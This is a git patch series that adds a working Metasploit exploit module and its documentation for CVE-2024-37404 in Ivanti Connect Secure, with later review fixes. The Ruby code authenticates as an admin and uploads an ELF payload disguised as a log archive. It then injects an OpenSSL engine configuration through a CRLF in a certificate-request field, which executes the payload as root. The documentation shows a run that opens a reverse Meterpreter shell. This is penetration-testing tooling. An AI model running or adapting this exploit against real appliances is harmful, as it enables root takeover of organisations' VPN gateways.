From c943cc6378277efbb7bfe73e85cc8007c757ea39 Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Tue, 29 Oct 2024 12:21:55 +0100 Subject: [PATCH 1/5] Add module and documentation --- ...vanti_connect_secure_rce_cve_2024_37404.md | 114 +++++ ...vanti_connect_secure_rce_cve_2024_37404.rb | 428 ++++++++++++++++++ 2 files changed, 542 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md create mode 100644 modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb diff --git a/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md b/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md new file mode 100644 index 0000000000..e79bc0336d --- /dev/null +++ b/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md @@ -0,0 +1,114 @@ +## Vulnerable Application + +This module exploits a CRLF injection vulnerability in Ivanti Connect Secure to +achieve remote code execution (CVE-2024-37404). Versions prior to 22.7R2.1 and +22.7R2.2 are vulnerable. Note that Ivanti Policy Secure versions prior to +22.7R1.1 are also vulnerable but this module doesn't support this software. + +Valid administrative credentials are required. A non-administrative user is also +required and can be created using the administrative account, if needed. + +Finally, the `Client Log Upload` feature needs to be enabled. This can also +be done using the administrative interface (see the Installation Steps section +below), if it is not enabled already. + +### Process Overview + +First, the module will log into the administrative interface and check if the version +is vulnerable. Then, it will connect to the user interface using non-privileged +credentials and upload a log file archive containing the payload. This file is +stored as a known path on the server, which can be retrieved from the +administrative interface. Then, it leverages the CRLF vulnerability by creating +a Certificate Signing Request and passing a specially crafted OpenSSL +configuration. This configuration instructs OpenSSL to use a custom +cryptographic engine, which points to the log file path (our payload). The +payload is immediately executed, giving RCE as the root user on the appliance. + +This has been successfully tested against Ivanti Connect Secure version 22.3R1 (build 1647). + +### Installation Steps +Get an Ivanti Security Appliance (ISA) or a Virtual Appliances (ISA-V Series) +with a vulnerable Ivanti Connect Secure installed. + +Note that it is not possible to download a trial version of a Virtual Appliance +unless you contact sales and request a demo. + +Log into to the admin interface (https://admin) to proceed with the following requirements: + +#### Create a normal user +- In the `Authentication` menu, select `Auth. Servers`. +- Select the `System Local` `Authentication/Authorization Servers` or any + server with the type `Local Authentication`. Don't select the + `Administrators` server since we need a non-administrative account. +- Click on the `Users` tab and then `New`. +- Fill the registration form and click `Save Changes`. + +#### Enable Client Log +- Go to `Users` > `User Roles` and click on the `Users` role. +- Go to `General` > `Session Options`. +- Select `Enable Upload Logs` under the `Upload logs` section. +- Click `Save Changes`. + + +## Verification Steps +1. Start msfconsole +1. Do: `use linux/http/ivanti_connect_secure_rce_cve_2024_37404` +1. Do: `run verbose=true lhost= rhosts= admin_username= admin_password= username= password=` +1. You should get a Meterpreter session +1. Make sure the admin and the normal user have been logged out by logging in + the web interfaces with a web browser (you should have any warning saying a + session is already active) +1. Make sure the cleanup has been done correctly by checking `System` > `Log/Monitoring` + + +## Options + +### ADMIN_USERNAME +Administrative username to authenticate with. + +### ADMIN_PASSWORD +Administrator password to authenticate with. + +### USERNAME +Normal user username to authenticate with. + +### PASSWORD +Normal user password to authenticate with. + + +## Scenarios + +### Ivanti Connect Secure version 22.3R1 (build 1647) + +``` +msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_37404) > run verbose=true lhost=192.168.211.69 rhosts=192.168.211.200 admin_username=msfadmin admin_password=1234567890 username=msfuser password=1234567890 + +[*] Started reverse TCP handler on 192.168.211.69:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Login to the administrative interface with username 'msfadmin' and password '1234567890'... +[!] The admin msfadmin is already logged in +[*] Getting the version... +[+] Found version 22.3R1 (build 1647) +[+] The target appears to be vulnerable. +[*] Uploading the payload... +[*] Login to the user interface with username 'msfuser' and password '1234567890'... +[*] Uploading the log file... +[*] Logging the user out... +[*] Getting the log file name... +[*] Triggering the payload... +[*] Transmitting intermediate stager...(106 bytes) +[*] Sending stage (1017704 bytes) to 192.168.211.200 +[*] Cleaning up... +[*] Deleting the log file (payload)... +[*] Logging the administrator out... +[*] Meterpreter session 3 opened (192.168.211.69:4444 -> 192.168.211.200:50210) at 2024-10-29 16:43:35 +0100 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.211.200 +OS : (Linux 4.15.18.34-production) +Architecture : x64 +BuildTuple : i486-linux-musl +Meterpreter : x86/linux +``` diff --git a/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb b/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb new file mode 100644 index 0000000000..ab17c1e229 --- /dev/null +++ b/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb @@ -0,0 +1,428 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + class IvantiError < StandardError; end + class IvantiNoAccessError < IvantiError; end + class IvantiNotFoundError < IvantiError; end + class IvantiUnexpectedResponseError < IvantiError; end + class IvantiUnknownError < IvantiError; end + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ivanti Connect Secure Authenticated Remote Code Execution via OpenSSL CRLF Injection', + 'Description' => %q{ + This module exploits a CRLF injection vulnerability in Ivanti Connect + Secure to achieve remote code execution (CVE-2024-37404). Versions + prior to 22.7R2.1 and 22.7R2.2 are vulnerable. Note that Ivanti Policy + Secure versions prior to 22.7R1.1 are also vulnerable but this module + doesn't support this software. + + Valid administrative credentials are required. A non-administrative + user is also required and can be created using the administrative + account, if needed. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Richard Warren', # Vulnerability discovery and PoC + 'Christophe De La Fuente', # Metasploit Module + ], + 'References' => [ + ['CVE', '2024-37404'], + ['URL', 'https://attackerkb.com/topics/FI5vcuGwyM/cve-2024-37404'], + ['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-and-Policy-Secure-CVE-2024-37404'], + ['URL', 'https://blog.amberwolf.com/blog/2024/october/cve-2024-37404-ivanti-connect-secure-authenticated-rce-via-openssl-crlf-injection/'] + ], + 'DisclosureDate' => '2024-10-08', + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Privileged' => true, # Administrative access is needed and code execution as root. + 'Targets' => [ + ['Automatic', {}] + ], + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path of the Ivanti Connect Secure web interface', '/']), + OptString.new('ADMIN_USERNAME', [true, 'Administrative username to authenticate with.']), + OptString.new('ADMIN_PASSWORD', [true, 'Administrator password to authenticate with.']), + OptString.new('USERNAME', [true, 'Normal user username to authenticate with.']), + OptString.new('PASSWORD', [true, 'Normal user password to authenticate with.']) + ] + ) + + @logged = false + end + + def confirm_login_admin(uri) + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true') + raise IvantiUnknownError, "[confirm_login_admin] No response from '#{uri}'" if res.nil? + + csrf_token = res.get_html_document.xpath('//form/input[@name="xsauth"]/@value').text + raise IvantiNotFoundError, '[confirm_login_admin] Could not find the CSRF token' if csrf_token.empty? + + form_data_str = res.get_html_document.xpath('//form/input[@id="DSIDFormDataStr"]/@value').text + raise IvantiNotFoundError, '[confirm_login_admin] Could not find the FormDataStr token' if form_data_str.empty? + + uri = normalize_uri(target_uri.path, '/dana-na/auth/url_admin/login.cgi') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'keep_cookies' => 'true', + 'vars_post' => { + 'btnContinue' => 'Continue the session', + 'FormDataStr' => form_data_str, + 'xsauth' => csrf_token + } + ) + raise IvantiUnknownError, "[confirm_login_admin] No response from '#{uri}'" if res.nil? + + res + end + + def login_admin + print_status( + "Login to the administrative interface with username '#{datastore['ADMIN_USERNAME']}' and password "\ + "'#{datastore['ADMIN_PASSWORD']}'..." + ) + + uri = normalize_uri(target_uri.path, '/dana-na/auth/url_admin/welcome.cgi') + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true') + raise IvantiUnknownError, "[login_admin] No response from '#{uri}'" if res.nil? + + csrf_token = res.get_html_document.xpath('//form/input[@id="xsauth_token"]/@value').text + raise IvantiNotFoundError, '[login_admin] Could not find the CSRF token' if csrf_token.empty? + + uri = normalize_uri(target_uri.path, '/dana-na/auth/url_admin/login.cgi') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'keep_cookies' => 'true', + 'vars_post' => { + 'tz_offset' => (60 * rand(0..8)).to_s, + 'xsauth_token' => csrf_token, + 'username' => datastore['ADMIN_USERNAME'], + 'password' => datastore['ADMIN_PASSWORD'], + 'realm' => 'Admin Users', + 'btnSubmit' => 'Sign In' + } + ) + raise IvantiUnknownError, "[login_admin] No response from '#{uri}'" if res.nil? + + if res.code == 302 && res.redirection.to_s == '/dana-na/auth/url_admin/welcome.cgi?p=admin%2Dconfirm' + print_warning("The admin #{datastore['ADMIN_USERNAME']} is already logged in") + res = confirm_login_admin(res.redirection.to_s) + end + + if res.code != 302 || res.redirection.to_s != '/dana-admin/misc/admin.cgi' + raise IvantiNoAccessError, "[login_admin] Login failed (username: #{datastore['ADMIN_USERNAME']}, password: #{datastore['ADMIN_PASSWORD']})" + end + end + + def get_version + print_status('Getting the version...') + + uri = normalize_uri(target_uri.path, '/dana-admin/sysinfo/sysinfo.cgi') + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true') + raise IvantiUnknownError, "[get_version] No response from '#{uri}'" if res.nil? + + version_str = res.get_html_document.xpath('//span[@id="DSIDSystemSoftwarePkgVersion"]').text + raise IvantiNotFoundError, '[get_version] Could not find the version number' if version_str.empty? + + print_good("Found version #{version_str}") + unless version_str.match(/(\d+\.[\dR]+)/) + raise IvantiNotFoundError, "[get_version] Unexpected version number format: #{version_str}" + end + + Rex::Version.new(Regexp.last_match(1)) + end + + def check + begin + login_admin + @logged = true + rescue IvantiError => e + return CheckCode::Unknown("Unable to login to the administrative interface: #{e}") + end + + begin + version = get_version + rescue IvantiError => e + return CheckCode::Detected("Version number not found: #{e}") + end + + unless version < Rex::Version.new('22.3R2') + return CheckCode::Safe("Version number: #{version}") + end + + return CheckCode::Appears + end + + def confirm_login_user(uri) + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true') + raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil? + + form_data_str = res.get_html_document.xpath('//form/input[@id="DSIDFormDataStr"]/@value').text + raise IvantiNotFoundError, '[login_user] Could not find the FormDataStr token' if form_data_str.empty? + + uri = normalize_uri(target_uri.path, '/dana-na/auth/url_default/login.cgi') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'keep_cookies' => 'true', + 'vars_post' => { + 'btnContinue' => 'Continue the session', + 'FormDataStr' => form_data_str + } + ) + raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil? + + res + end + + def login_user + print_status( + "Login to the user interface with username '#{datastore['USERNAME']}' and password "\ + "'#{datastore['PASSWORD']}'..." + ) + + uri = normalize_uri(target_uri.path, '/dana-na/auth/url_default/login.cgi') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'keep_cookies' => 'true', + 'vars_post' => { + 'tz_offset' => '', + 'win11' => '', + 'clientMAC' => '', + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'realm' => 'Users', + 'btnSubmit' => 'Sign In' + } + ) + raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil? + + if res.code == 302 && res.redirection.to_s == '/dana-na/auth/url_default/welcome.cgi?p=user%2Dconfirm' + print_warning("User #{datastore['USERNAME']} is already logged in.") + res = confirm_login_user(res.redirection.to_s) + end + + if res.code != 302 && res.redirection.to_s != '/dana/home/starter0.cgi?check=yes' + raise IvantiNoAccessError, "[login_user] Login failed (username: #{datastore['USERNAME']}, password: #{datastore['PASSWORD']})" + end + end + + def upload_log + print_status('Uploading the log file...') + + @client_component = "Log_#{rand_text_numeric(3)}" + uri = normalize_uri(target_uri.path, "/dana/uploadlog/uploadlog.cgi?client_component=#{@client_component}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'keep_cookies' => 'true', + 'vars_form_data' => [ + { + 'name' => 'uploaded_file', + 'data' => Msf::Util::EXE.to_linux_x86_elf_dll(framework, payload.encoded), + 'content_type' => 'application/octet-stream', + 'encoding' => 'binary', + 'filename' => 'LULogUpload.zip' + } + ] + ) + raise IvantiUnknownError, "[upload_log] No response from '#{uri}'" if res.nil? + + unless res.code == 200 + raise IvantiUnexpectedResponseError, "[upload_log] Server responded with an unexpected HTTP status code: #{res.code}" + end + end + + def get_log_filename + print_status('Getting the log file name...') + + uri = normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi') + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true') + raise IvantiUnknownError, "[get_log_filename] No response from '#{uri}'" if res.nil? + + log_filename = res.get_html_document.xpath("//table[@id='table_uploadedlogs_4']//tr/td[contains(text(), '#{@client_component}')]/preceding-sibling::td/a").text.strip + raise IvantiNotFoundError, '[get_log_filename] Could not find the log filename' if log_filename.empty? + + log_filename + end + + def upload_payload + print_status('Uploading the payload...') + + cookie_jar_bak = cookie_jar.dup + cookie_jar.clear + login_user + begin + upload_log + ensure + print_status('Logging the user out...') + + uri = normalize_uri(target_uri.path, '/dana-na/auth/logout.cgi') + res = send_request_cgi('method' => 'GET', 'uri' => uri) + print_warning("Unable to logout: no response from '#{uri}'") if res.nil? + end + self.cookie_jar = cookie_jar_bak + get_log_filename + end + + def trigger_payload(log_filename) + print_status('Triggering the payload...') + + uri = normalize_uri(target_uri.path, '/dana-admin/cert/admincert.cgi') + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true') + raise IvantiUnknownError, "[trigger_payload] No response from '#{uri}'" if res.nil? + + csrf_token = res.get_html_document.xpath('//form/input[@id="xsauth_71"]/@value').text + raise IvantiNotFoundError, '[trigger_payload] Could not find the CSRF token' if csrf_token.empty? + + engine_name = rand_text_alpha_lower(3..5) + config_section = rand_text_alpha_lower(5..10) + openssl_config = <<~CONF + [default] + openssl_conf = openssl_init + [openssl_init] + engines = engine_section + [engine_section] + #{engine_name} = #{config_section} + [#{config_section}] + engine_id = #{engine_name} + dynamic_path = /home/runtime/uploadlog/#{log_filename} + init = 0 + CONF + # Expecting no response + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/dana-admin/cert/admincertnewcsr.cgi'), + 'keep_cookies' => 'true', + 'headers' => { + 'Referer' => full_uri('/dana-admin/cert/admincert.cgi') + }, + 'vars_post' => { + 'xsauth' => csrf_token, + 'commonName' => Faker::Company.department, + 'organizationName' => Faker::Company.name, + 'organizationalUnitName' => Faker::Company.department, + 'localityName' => "#{Faker::Address.city}\n#{openssl_config}", + 'stateOrProvinceName' => Faker::Address.state, + 'countryName' => Faker::Address.country_code, + 'emailAddress' => Faker::Internet.email, + 'keytype' => 'RSA', + 'keylength' => '1024', + 'eccurve' => 'prime256v1', + 'random' => rand_text_alphanumeric(5..10), + 'newcsr' => 'yes', + 'certType' => 'device', + 'btnCreateCSR' => 'Create CSR' + } + }, 1) + end + + def exploit + unless @logged + begin + login_admin + rescue IvantiError => e + fail_with(Failure::NoAccess, "Unable to login to the administrative interface: #{e}") + end + end + + begin + log_filename = upload_payload + rescue IvantiError => e + fail_with(Failure::Unknown, "Unable to upload the payload: #{e}") + end + + begin + trigger_payload(log_filename) + rescue IvantiError => e + fail_with(Failure::Unknown, "Unable to trigger the payload: #{e}") + end + end + + def delete_log_file + print_status('Deleting the log file (payload)...') + + uri = normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi') + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true') + raise IvantiUnknownError, "[delete_log_file] No response from '#{uri}'" if res.nil? + + csrf_token = res.get_html_document.xpath('//form/input[@id="xsauth_60"]/@value').text + raise IvantiNotFoundError, '[delete_log_file] Could not find the CSRF token' if csrf_token.empty? + + file_link = res.get_html_document.xpath("//table[@id='table_uploadedlogs_4']//tr/td[contains(text(), '#{@client_component}')]/preceding-sibling::td/a") + raise IvantiNotFoundError, '[delete_log_file] Could not find the log file' if file_link.empty? + + href = file_link.attribute('href')&.value + if href&.match(/&row=(\d+)/) + log_id = Regexp.last_match(1) + else + raise IvantiNotFoundError, '[delete_log_file] Unable to retrieve the log ID' + end + + uri = normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'keep_cookies' => 'true', + 'headers' => { + 'Referer' => full_uri('/dana-admin/auth/uploadedlogs.cgi') + }, + 'vars_post' => { + 'xsauth' => csrf_token, + 'op' => 'del', + 'row' => log_id + } + ) + raise IvantiUnknownError, "[delete_log_file] No response from '#{uri}'" if res.nil? + + if res.code != 302 || res.redirection.to_s != '/dana-admin/auth/uploadedlogs.cgi' + raise IvantiUnexpectedResponseError, "[delete_log_file] Unable to delete the log file (status code=#{res.code})" + end + + csrf_token + end + + def on_new_session(_session) + print_status('Cleaning up...') + + begin + csrf_token = delete_log_file + rescue IvantiError => e + print_warning("Unable to cleanup properly, this will need to be done manually: #{e}") + end + + print_status('Logging the administrator out...') + + uri = normalize_uri(target_uri.path, '/dana-na/auth/logout.cgi') + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'vars_get' => { 'xsauth' => csrf_token }) + print_warning("Unable to logout: no response from '#{uri}'") if res.nil? + end + +end From 3dcb9d58abcf3c6f323854f13878e27e78a23ab5 Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Thu, 31 Oct 2024 16:30:32 +0100 Subject: [PATCH 2/5] Code review --- ...-Reliability-Side-Effects-and-Stability.md | 1 + ...vanti_connect_secure_rce_cve_2024_37404.md | 6 +++--- lib/msf/core/constants.rb | 2 ++ ...vanti_connect_secure_rce_cve_2024_37404.rb | 21 +++++++++++-------- spec/support/lib/module_validation.rb | 1 + 5 files changed, 19 insertions(+), 12 deletions(-) diff --git a/docs/metasploit-framework.wiki/Definition-of-Module-Reliability-Side-Effects-and-Stability.md b/docs/metasploit-framework.wiki/Definition-of-Module-Reliability-Side-Effects-and-Stability.md index af7a1bb814..2c9782b713 100644 --- a/docs/metasploit-framework.wiki/Definition-of-Module-Reliability-Side-Effects-and-Stability.md +++ b/docs/metasploit-framework.wiki/Definition-of-Module-Reliability-Side-Effects-and-Stability.md @@ -59,6 +59,7 @@ Example: | CONFIG_CHANGES | Module modifies some config file | | IOC_IN_LOGS | Module leaves an indicator of compromise in the log(s) | | ACCOUNT_LOCKOUTS | Module may cause an account to lock out | +| ACCOUNT_LOGOUT | Module may cause an existing valid session to be forced to log out (likely due to restrictions on concurrent sessions)| | SCREEN_EFFECTS | Module shows something on the screen that a human may notice | | PHYSICAL_EFFECTS | Module may produce physical effects in hardware (Examples: light, sound, or heat) | | AUDIO_EFFECTS | Module may cause a noise (Examples: Audio output from the speakers or hardware beeps) | diff --git a/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md b/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md index e79bc0336d..3bbb09c673 100644 --- a/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md +++ b/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md @@ -1,9 +1,9 @@ ## Vulnerable Application This module exploits a CRLF injection vulnerability in Ivanti Connect Secure to -achieve remote code execution (CVE-2024-37404). Versions prior to 22.7R2.1 and -22.7R2.2 are vulnerable. Note that Ivanti Policy Secure versions prior to -22.7R1.1 are also vulnerable but this module doesn't support this software. +achieve remote code execution (CVE-2024-37404). Versions prior to 22.7R2.1 are +vulnerable. Note that Ivanti Policy Secure versions prior to 22.7R1.1 are also +vulnerable but this module doesn't support this software. Valid administrative credentials are required. A non-administrative user is also required and can be created using the administrative account, if needed. diff --git a/lib/msf/core/constants.rb b/lib/msf/core/constants.rb index 159ef31fe5..a490964a7c 100644 --- a/lib/msf/core/constants.rb +++ b/lib/msf/core/constants.rb @@ -82,6 +82,8 @@ CONFIG_CHANGES = 'config-changes' IOC_IN_LOGS = 'ioc-in-logs' # Module may cause account lockouts (likely due to brute-forcing). ACCOUNT_LOCKOUTS = 'account-lockouts' +# Module may cause an existing valid session to be forced to log out (likely due to restrictions on concurrent sessions). +ACCOUNT_LOGOUT = 'account-logout' # Module may show something on the screen (Example: a window pops up). SCREEN_EFFECTS = 'screen-effects' # Module may cause a noise (Examples: audio output from the speakers or hardware beeps). diff --git a/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb b/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb index ab17c1e229..23e5e0e87c 100644 --- a/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb +++ b/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb @@ -23,8 +23,8 @@ class MetasploitModule < Msf::Exploit::Remote 'Description' => %q{ This module exploits a CRLF injection vulnerability in Ivanti Connect Secure to achieve remote code execution (CVE-2024-37404). Versions - prior to 22.7R2.1 and 22.7R2.2 are vulnerable. Note that Ivanti Policy - Secure versions prior to 22.7R1.1 are also vulnerable but this module + prior to 22.7R2.1 are vulnerable. Note that Ivanti Policy Secure + versions prior to 22.7R1.1 are also vulnerable but this module doesn't support this software. Valid administrative credentials are required. A non-administrative @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, ACCOUNT_LOGOUT] } ) ) @@ -172,7 +172,7 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Detected("Version number not found: #{e}") end - unless version < Rex::Version.new('22.3R2') + unless version < Rex::Version.new('22.7R2.1') return CheckCode::Safe("Version number: #{version}") end @@ -292,7 +292,7 @@ class MetasploitModule < Msf::Exploit::Remote get_log_filename end - def trigger_payload(log_filename) + def trigger_payload print_status('Triggering the payload...') uri = normalize_uri(target_uri.path, '/dana-admin/cert/admincert.cgi') @@ -313,7 +313,7 @@ class MetasploitModule < Msf::Exploit::Remote #{engine_name} = #{config_section} [#{config_section}] engine_id = #{engine_name} - dynamic_path = /home/runtime/uploadlog/#{log_filename} + dynamic_path = /home/runtime/uploadlog/#{@log_filename} init = 0 CONF # Expecting no response @@ -354,13 +354,13 @@ class MetasploitModule < Msf::Exploit::Remote end begin - log_filename = upload_payload + @log_filename = upload_payload rescue IvantiError => e fail_with(Failure::Unknown, "Unable to upload the payload: #{e}") end begin - trigger_payload(log_filename) + trigger_payload rescue IvantiError => e fail_with(Failure::Unknown, "Unable to trigger the payload: #{e}") end @@ -415,7 +415,10 @@ class MetasploitModule < Msf::Exploit::Remote begin csrf_token = delete_log_file rescue IvantiError => e - print_warning("Unable to cleanup properly, this will need to be done manually: #{e}") + print_warning( + "Unable to cleanup properly, the log file ('/home/runtime/uploadlog/#{@log_filename}') "\ + "will need to be deleted manually: #{e}" + ) end print_status('Logging the administrator out...') diff --git a/spec/support/lib/module_validation.rb b/spec/support/lib/module_validation.rb index 135291bab9..86501abd62 100644 --- a/spec/support/lib/module_validation.rb +++ b/spec/support/lib/module_validation.rb @@ -55,6 +55,7 @@ module ModuleValidation Msf::CONFIG_CHANGES, Msf::IOC_IN_LOGS, Msf::ACCOUNT_LOCKOUTS, + Msf::ACCOUNT_LOGOUT, Msf::SCREEN_EFFECTS, Msf::AUDIO_EFFECTS, Msf::PHYSICAL_EFFECTS From a46b2f437ffceb9d1af046f8a410e24455d12df6 Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Mon, 2 Dec 2024 16:45:12 +0100 Subject: [PATCH 3/5] Use TARGET_URI when checking the redirection URI --- .../ivanti_connect_secure_rce_cve_2024_37404.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb b/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb index 23e5e0e87c..c61097eabd 100644 --- a/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb +++ b/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb @@ -130,12 +130,12 @@ class MetasploitModule < Msf::Exploit::Remote ) raise IvantiUnknownError, "[login_admin] No response from '#{uri}'" if res.nil? - if res.code == 302 && res.redirection.to_s == '/dana-na/auth/url_admin/welcome.cgi?p=admin%2Dconfirm' + if res.code == 302 && res.redirection.to_s == normalize_uri(target_uri.path, '/dana-na/auth/url_admin/welcome.cgi?p=admin%2Dconfirm') print_warning("The admin #{datastore['ADMIN_USERNAME']} is already logged in") - res = confirm_login_admin(res.redirection.to_s) + res = confirm_login_admin(normalize_uri(target_uri.path, res.redirection.to_s)) end - if res.code != 302 || res.redirection.to_s != '/dana-admin/misc/admin.cgi' + if res.code != 302 || res.redirection.to_s != normalize_uri(target_uri.path, '/dana-admin/misc/admin.cgi') raise IvantiNoAccessError, "[login_admin] Login failed (username: #{datastore['ADMIN_USERNAME']}, password: #{datastore['ADMIN_PASSWORD']})" end end @@ -224,12 +224,12 @@ class MetasploitModule < Msf::Exploit::Remote ) raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil? - if res.code == 302 && res.redirection.to_s == '/dana-na/auth/url_default/welcome.cgi?p=user%2Dconfirm' + if res.code == 302 && res.redirection.to_s == normalize_uri(target_uri.path, '/dana-na/auth/url_default/welcome.cgi?p=user%2Dconfirm') print_warning("User #{datastore['USERNAME']} is already logged in.") - res = confirm_login_user(res.redirection.to_s) + res = confirm_login_user(normalize_uri(target_uri.path, res.redirection.to_s)) end - if res.code != 302 && res.redirection.to_s != '/dana/home/starter0.cgi?check=yes' + if res.code != 302 && res.redirection.to_s != normalize_uri(target_uri.path, '/dana/home/starter0.cgi?check=yes') raise IvantiNoAccessError, "[login_user] Login failed (username: #{datastore['USERNAME']}, password: #{datastore['PASSWORD']})" end end @@ -402,7 +402,7 @@ class MetasploitModule < Msf::Exploit::Remote ) raise IvantiUnknownError, "[delete_log_file] No response from '#{uri}'" if res.nil? - if res.code != 302 || res.redirection.to_s != '/dana-admin/auth/uploadedlogs.cgi' + if res.code != 302 || res.redirection.to_s != normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi') raise IvantiUnexpectedResponseError, "[delete_log_file] Unable to delete the log file (status code=#{res.code})" end From fa3716408f2ba4ad7d75973b2c9cbcc0836e3980 Mon Sep 17 00:00:00 2001 From: jheysel-r7 Date: Tue, 3 Dec 2024 18:33:43 -0800 Subject: [PATCH 4/5] Add comment explaining payload architecture restraints --- .../linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb b/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb index c61097eabd..ba3a475511 100644 --- a/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb +++ b/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DisclosureDate' => '2024-10-08', 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86, # OpenSSL running on the appliance is an x86 binary which requires the payload to be ARCH_x86 'Privileged' => true, # Administrative access is needed and code execution as root. 'Targets' => [ ['Automatic', {}] From b7f9ae7ec5f4a33941a4f61e6e391ae05232aa5d Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Wed, 4 Dec 2024 07:55:16 -0800 Subject: [PATCH 5/5] Updated module validation spec --- spec/module_validation_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/module_validation_spec.rb b/spec/module_validation_spec.rb index fbf53d08a6..ab18f5445d 100644 --- a/spec/module_validation_spec.rb +++ b/spec/module_validation_spec.rb @@ -97,7 +97,7 @@ RSpec.describe ModuleValidation::Validator do end it 'has errors' do - expect(subject.errors.full_messages).to eq ['Side effects contains invalid values ["ARTIFACTS_ON_DISK"] - only ["artifacts-on-disk", "config-changes", "ioc-in-logs", "account-lockouts", "screen-effects", "audio-effects", "physical-effects"] is allowed'] + expect(subject.errors.full_messages).to eq ['Side effects contains invalid values ["ARTIFACTS_ON_DISK"] - only ["artifacts-on-disk", "config-changes", "ioc-in-logs", "account-lockouts", "account-logout", "screen-effects", "audio-effects", "physical-effects"] is allowed'] end end